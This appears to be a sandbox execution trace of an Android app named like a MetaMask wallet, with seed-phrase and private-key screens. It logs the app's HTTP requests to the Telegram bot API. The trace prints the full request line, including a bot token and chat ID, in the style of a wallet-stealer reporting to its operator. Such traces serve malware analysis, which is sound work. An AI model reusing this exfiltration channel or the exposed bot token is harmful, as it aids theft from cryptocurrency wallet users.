        Method: ..:16 Show source
        Method: cz.msebera.android.httpclient.client.entity.DeflateInputStream.<init>:48 Show source
        Method: cz.msebera.android.httpclient.client.entity.DeflateInputStream.<init>:65 Show source
        Method: cz.msebera.android.httpclient.client.entity.DeflateInputStream.<init>:88 Show source
        Method: ..:1 Show source
        Method: ..:38 Show source
        Method: cz.msebera.android.httpclient.impl.io.AbstractSessionInputBuffer.readLine:76 Show source
        Method: ..:29 Show source
        Method: com.loopj.android.http.AsyncHttpRequest.makeRequestWithRetries:56 Show source
        Method: com.loopj.android.http.AsyncHttpRequest.makeRequestWithRetries:84 Show source
        Method: com.loopj.android.http.AsyncHttpRequest.makeRequestWithRetries:131 Show source
        Method: ..:57 Show source
        Method: ..:17 Show source
        Method: ..:18 Show source
        Method: ..:1 Show source
        Method: cz.msebera.android.httpclient.impl.pool.BasicConnFactory.create:136 Show source
        Method: ..:1 Show source
        Method: cz.msebera.android.httpclient.extras.PRNGFixes.applyOpenSSLFix:84 Show source
        Method: ..:68 Show source
        Method: ..:1 Show source
        Method: ..:1 Show source
        Method: ..:24 Show source
        Method: ..: Show source
        NameTypeValue
        p0java.lang.String
        • toString: computeFitSystemWindows
        p1[Ljava.lang.Class;
        • toString: [Ljava.lang.Class;@6a6e09f
        • Arrays.toString: [class android.graphics.Rect, class android.graphics.Rect]
        NameTypeValue
        Return Valuejava.lang.reflect.Method
        • toString: protected boolean android.view.View.computeFitSystemWindows(android.graphics.Rect,android.graphics.Rect)
        • getName: computeFitSystemWindows
        Method: ..:9 Show source
        Method: ..:6 Show source
        Method: ..:20 Show source
        Method: cz.msebera.android.httpclient.extras.PRNGFixes.applyOpenSSLFix:25 Show source
        Method: cz.msebera.android.httpclient.extras.PRNGFixes.applyOpenSSLFix:50 Show source
        Method: cz.msebera.android.httpclient.client.utils.CloneUtils.cloneObject:25 Show source
        Method: ..: Show source
        NameTypeValue
        p0java.lang.String
        • toString: makeOptionalFitsSystemWindows
        p1[Ljava.lang.Class;
        • toString: [Ljava.lang.Class;@b99d4d8
        NameTypeValue
        Return Valuejava.lang.reflect.Method
        • toString: public void android.view.ViewGroup.makeOptionalFitsSystemWindows()
        • getName: makeOptionalFitsSystemWindows
        Method: ..: Show source
        NameTypeValue
        p0java.lang.String
        • toString: makeOptionalFitsSystemWindows
        p1[Ljava.lang.Class;
        • toString: [Ljava.lang.Class;@eaeec84
        NameTypeValue
        Return Valuejava.lang.reflect.Method
        • toString: public void android.view.ViewGroup.makeOptionalFitsSystemWindows()
        • getName: makeOptionalFitsSystemWindows
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool.freeEntry:31 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.RouteSpecificPool.freeEntry:49 Show source
        Method: ..:12 Show source
        Method: ..:39 Show source
        Method: ..:28 Show source
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.establishRoute:36 Show source
        Method: ..:23 Show source
        Method: ..:7 Show source
        Method: ..:19 Show source
        Method: ..:43 Show source
        Method: ..:17 Show source
        Method: ..:16 Show source
        Method: cz.msebera.android.httpclient.impl.execchain.MainClientExec.establishRoute:43 Show source
        Method: ..:1 Show source
        Method: ..:1 Show source
        Method: ..:16 Show source
        Method: ..:23 Show source
        Method: cz.msebera.android.httpclient.client.utils.JdkIdn.toUnicode:29 Show source
        Method: ..:52 Show source
        Method: ..:39 Show source
        Method: cz.msebera.android.httpclient.impl.conn.tsccm.WaitingThread.await:72 Show source
        Method: ..:12 Show source
        Method: ..:7 Show source
        Method: ..:4 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:315 Show source
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.createClientConnectionManager:51 Show source
        Method: cz.msebera.android.httpclient.impl.client.CloseableHttpResponseProxy.newProxy:17 Show source
        Method: cz.msebera.android.httpclient.impl.client.CloseableHttpResponseProxy.newProxy:22 Show source
        Method: cz.msebera.android.httpclient.impl.client.CloseableHttpResponseProxy.newProxy:27 Show source
        Method: cz.msebera.android.httpclient.impl.client.HttpRequestTaskCallable.call:153 Show source
        Method: ..:7 Show source
        Method: ..:30 Show source
        Method: ..:38 Show source
        Method: ..:16 Show source
        Method: ..:19 Show source
        Method: ..:23 Show source
        Method: ..:14 Show source
        Method: ..:16 Show source
        Method: com.loopj.android.http.MyRedirectHandler.getLocationURI:80 Show source
        Method: cz.msebera.android.httpclient.util.VersionInfo.fromMap:76 Show source
        Method: ..:3 Show source
        Method: ..:30 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.RFC2965Spec.parse:52 Show source
        Method: cz.msebera.android.httpclient.impl.conn.LoggingManagedHttpClientConnection.onResponseReceived:25 Show source
        Method: cz.msebera.android.httpclient.impl.conn.LoggingManagedHttpClientConnection.onResponseReceived:56 Show source
        Method: cz.msebera.android.httpclient.impl.conn.DefaultClientConnection.sendRequestHeader:52 Show source
        Method: cz.msebera.android.httpclient.impl.conn.DefaultClientConnection.sendRequestHeader:78 Show source
        Method: ..:3 Show source
        Method: ..:7 Show source
        Method: ..:7 Show source
        Method: cz.msebera.android.httpclient.impl.conn.LoggingManagedHttpClientConnection.onRequestSubmitted:25 Show source
        Method: cz.msebera.android.httpclient.impl.conn.LoggingManagedHttpClientConnection.onRequestSubmitted:56 Show source
        Method: ..:3 Show source
        Method: ..:7 Show source
        Method: ..:3 Show source
        Method: ..:14 Show source
        Method: cz.msebera.android.httpclient.extras.HttpClientAndroidLog.debug:7 Show source
        Method: ..:7 Show source
        Method: ..:7 Show source
        Method: ..:3 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.NetscapeDraftSpec.parse:95 Show source
        Method: cz.msebera.android.httpclient.impl.conn.DefaultClientConnection.receiveResponseHeader:53 Show source
        Method: cz.msebera.android.httpclient.impl.conn.DefaultClientConnection.receiveResponseHeader:79 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.BrowserCompatSpec.parse:189 Show source
        Method: cz.msebera.android.httpclient.impl.cookie.RFC2109Spec.parse:49 Show source
        Method: ..:31 Show source
        Method: ..:34 Show source
        Method: ..:3 Show source
        Method: com.lemon.metamask.Activity.CreateActivity$2.onClick:14 Show source
        Method: com.lemon.metamask.Activity.CreateActivity$2.onClick:24 Show source
        Method: com.lemon.metamask.Activity.PrivateKeyActivity$2.onClick:14 Show source
        Method: ..:3 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:80 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:91 Show source
        Method: com.loopj.android.http.JsonStreamerEntity.writeTo:211 Show source
        Method: ..:7 Show source
        Method: ..:7 Show source
        Method: ..:11 Show source
        Method: cz.msebera.android.httpclient.impl.client.cache.ResponseProtocolCompliance.identityIsNotUsedInContentEncoding:49 Show source
        Method: ..:31 Show source
        Method: ..:3 Show source
        Method: ..:7 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:14 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:24 Show source
        Method: com.lemon.metamask.Activity.WalletSeedActivity$2.onClick:34 Show source
        Method: ..:7 Show source
        Method: com.loopj.android.http.RequestParams.getParamsList:151 Show source
        Method: com.lemon.metamask.Activity.CreateActivity.onCreate:23 Show source
        Method: com.lemon.metamask.Activity.CreateActivity.onCreate:30 Show source
        Method: ..:24 Show source
        Method: cz.msebera.android.httpclient.impl.client.SystemDefaultCredentialsProvider.getCredentials:43 Show source
        Method: cz.msebera.android.httpclient.impl.client.SystemDefaultCredentialsProvider.getCredentials:65 Show source
        Method: cz.msebera.android.httpclient.impl.client.SystemDefaultCredentialsProvider.getCredentials:78 Show source
        Method: ..:7 Show source
        Method: ..:7 Show source
        Method: ..:2 Show source
        Method: ..:6 Show source
        Method: ..:7 Show source
        Method: ..:6 Show source
        Method: ..:7 Show source
        Method: ..:11 Show source
        Method: ..:2 Show source
        Method: ..:2 Show source
        Method: ..:10 Show source
        Method: ..:14 Show source
        Method: ..:26 Show source
        Method: ..:40 Show source
        Method: ..:24 Show source
        Method: cz.msebera.android.httpclient.client.utils.URLEncodedUtils.<clinit>:15 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@5a0a83
        • $1: &;
        NameTypeValue
        Return Valuejava.lang.String
        • toString: &;
        Method: cz.msebera.android.httpclient.client.utils.URLEncodedUtils.parse:25 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@85cca7e
        • $1: chat_id=556050782&text=Access%20to%20Password%20Denied
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@376f02c
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@33439
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@85cca7e
        • $1: chat_id=556050782&text=Access%20to%20Password%20Denied
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 7
        NameTypeValue
        Return Valuejava.lang.String
        • toString: chat_id
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substring:5 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@85cca7e
        • $1: chat_id=556050782&text=Access%20to%20Password%20Denied
        p1java.lang.Integer
        • toString: 8
        p2java.lang.Integer
        • toString: 9
        NameTypeValue
        Return Valuejava.lang.String
        • toString: 556050782
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@85cca7e
        • $1: chat_id=556050782&text=Access%20to%20Password%20Denied
        p1java.lang.Integer
        • toString: 18
        p2java.lang.Integer
        • toString: 4
        NameTypeValue
        Return Valuejava.lang.String
        • toString: text
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substring:5 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@85cca7e
        • $1: chat_id=556050782&text=Access%20to%20Password%20Denied
        p1java.lang.Integer
        • toString: 23
        p2java.lang.Integer
        • toString: 31
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access%20to%20Password%20Denied
        Method: cz.msebera.android.httpclient.client.protocol.RequestDefaultHeaders.process:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@b1b4319
        • $1: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@7635fde
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@fe21260
        Method: cz.msebera.android.httpclient.protocol.RequestTargetHost.process:23 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@7ecdedb
        • $1: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@423cd78
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@3c19bea
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@d64e53
        • $1: Content-Length: 0
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@e4ed390
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@ee5be42
        Method: cz.msebera.android.httpclient.client.protocol.RequestClientConnControl.process:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@f838045
        • $1: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@670d39a
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9f598bc
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@3ea52a7
        • $1: Host: api.telegram.org
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@41e4354
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@e788f66
        Method: cz.msebera.android.httpclient.message.HeaderGroup.containsHeader:15 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4a0253e
        • $1: Connection: Keep-Alive
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@41e4354
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@fa441f9
        Method: cz.msebera.android.httpclient.client.protocol.RequestAddCookies.process:18 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@84ae6bb
        • $1: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@9d367d8
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@af5574a
        Method: cz.msebera.android.httpclient.client.protocol.RequestTargetAuthentication.process:18 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@2317233
        • $1: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@64b59f0
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@ea985a2
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:1 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@d3533dd
        • $1: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@f629b52
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9c5fbb4
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatRequestLine:25 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@79c2211
        • $1: GET
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@a01df76
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c9fb238
        Method: cz.msebera.android.httpclient.message.BasicLineFormatter.doFormatHeader:1 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@8a0ac98
        • $1: Accept-Encoding: gzip
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@68ffcf1
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c23467b
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a646bc8
        • $1: HTTP/1.1 200 OK
        p1java.lang.Integer
        • toString: 5
        p2java.lang.Integer
        • toString: 1
        NameTypeValue
        Return Valuejava.lang.String
        • toString: 1
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a646bc8
        • $1: HTTP/1.1 200 OK
        p1java.lang.Integer
        • toString: 7
        p2java.lang.Integer
        • toString: 1
        NameTypeValue
        Return Valuejava.lang.String
        • toString: 1
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a646bc8
        • $1: HTTP/1.1 200 OK
        p1java.lang.Integer
        • toString: 9
        p2java.lang.Integer
        • toString: java.lang.Integer@a01df76
        NameTypeValue
        Return Valuejava.lang.String
        • toString: 200
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a646bc8
        • $1: HTTP/1.1 200 OK
        p1java.lang.Integer
        • toString: 13
        p2java.lang.Integer
        • toString: 2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: OK
        Method: cz.msebera.android.httpclient.message.BasicHttpResponse.<init>:18 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@c77a96a
        • $1: HTTP/1.1 200 OK
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@68d9e5b
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9cbcb55
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@22deaa4
        • $1: Server: nginx/1.12.2
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 6
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Server
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@c76120e
        • $1: Date: Tue, 12 Feb 2019 13:29:49 GMT
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 4
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Date
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@1ea3c
        • $1: Content-Type: application/json
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 12
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Type
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@faed44b
        • $1: Content-Length: 243
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 14
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Content-Length
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a2654e6
        • $1: Connection: keep-alive
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 10
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Connection
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@ec5167d
        • $1: Access-Control-Allow-Origin: *
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 27
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Origin
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@fe9da40
        • $1: Access-Control-Allow-Methods: GET, POST, OPTIONS
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 28
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Allow-Methods
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4e2771f
        • $1: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 29
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Access-Control-Expose-Headers
        Method: cz.msebera.android.httpclient.util.CharArrayBuffer.substringTrimmed:30 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4c024ca
        • $1: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: 25
        NameTypeValue
        Return Valuejava.lang.String
        • toString: Strict-Transport-Security
        Method: cz.msebera.android.httpclient.protocol.HttpRequestExecutor.canResponseHaveBody:6 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@28861b3
        • $1: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@5485370
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@2508322
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@22deaa4
        • $1: Server: nginx/1.12.2
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@637369c
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@e1d660f
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@c76120e
        • $1: Date: Tue, 12 Feb 2019 13:29:49 GMT
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@3723e46
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@c4a7a21
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@1ea3c
        • $1: Content-Type: application/json
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@783f8d2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@4b3975d
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@faed44b
        • $1: Content-Length: 243
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@829f0ff
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@f84d01e
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a2654e6
        • $1: Connection: keep-alive
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@41e4354
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@7b69e1b
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@ec5167d
        • $1: Access-Control-Allow-Origin: *
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@783f8d2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9700f7
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@fe9da40
        • $1: Access-Control-Allow-Methods: GET, POST, OPTIONS
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@1b0b593
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@f183a82
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4e2771f
        • $1: Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@a4a32fc
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@8a717ef
        Method: cz.msebera.android.httpclient.message.HeaderGroup.getFirstHeader:14 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@4c024ca
        • $1: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@42b9d01
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@e8582e8
        Method: cz.msebera.android.httpclient.message.BufferedHeader.getValue:9 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@faed44b
        • $1: Content-Length: 243
        p1java.lang.Integer
        • toString: 16
        p2java.lang.Integer
        • toString: java.lang.Integer@a01df76
        NameTypeValue
        Return Valuejava.lang.String
        • toString: 243
        Method: cz.msebera.android.httpclient.message.BufferedHeader.getValue:9 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@faed44b
        • $1: Content-Length: 243
        p1java.lang.Integer
        • toString: 16
        p2java.lang.Integer
        • toString: java.lang.Integer@a01df76
        NameTypeValue
        Return Valuejava.lang.String
        • toString: 243
        Method: cz.msebera.android.httpclient.message.BufferedHeader.getValue:9 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a2654e6
        • $1: Connection: keep-alive
        p1java.lang.Integer
        • toString: 12
        p2java.lang.Integer
        • toString: 10
        NameTypeValue
        Return Valuejava.lang.String
        • toString: keep-alive
        Method: cz.msebera.android.httpclient.impl.client.DefaultRedirectStrategy.isRedirected:23 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@91c7aad
        • $1: GET /bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050782&text=Access%20to%20Password%20Denied HTTP/1.1
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@d4f21e2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@655dbc4
        Method: cz.msebera.android.httpclient.impl.client.DefaultRequestDirector.execute:471 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@1ea3c
        • $1: Content-Type: application/json
        p1java.lang.Integer
        • toString: 14
        p2java.lang.Integer
        • toString: 16
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@83314a9
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.doExecute:152 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@b49bdf4
        • $1: HTTP/1.1 200 OK
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@68d9e5b
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@f4293c7
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.doExecute:152 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@22deaa4
        • $1: Server: nginx/1.12.2
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@637369c
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@4fe691d
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.doExecute:152 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@c76120e
        • $1: Date: Tue, 12 Feb 2019 13:29:49 GMT
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@3723e46
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@dc7c792
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.doExecute:152 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@1ea3c
        • $1: Content-Type: application/json
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@783f8d2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@9caa563
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.doExecute:152 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@faed44b
        • $1: Content-Length: 243
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@829f0ff
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@73ec560
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.doExecute:152 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@a2654e6
        • $1: Connection: keep-alive
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@41e4354
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@e1d7a19
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.doExecute:152 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@ec5167d
        • $1: Access-Control-Allow-Origin: *
        p1java.lang.Integer
        • toString: java.lang.Integer@a8cbdf
        p2java.lang.Integer
        • toString: java.lang.Integer@783f8d2
        NameTypeValue
        Return Valuejava.lang.String
        • toString: java.lang.String@616cade
        Method: cz.msebera.android.httpclient.impl.client.AbstractHttpClient.doExecute:152 Show source
        NameTypeValue
        p0java.lang.Object
        • toString: [C@fe9da40
        • $1: Access-Control-Allow-Methods: GET, POST, OPTIONS
        p1java.lang.Integer
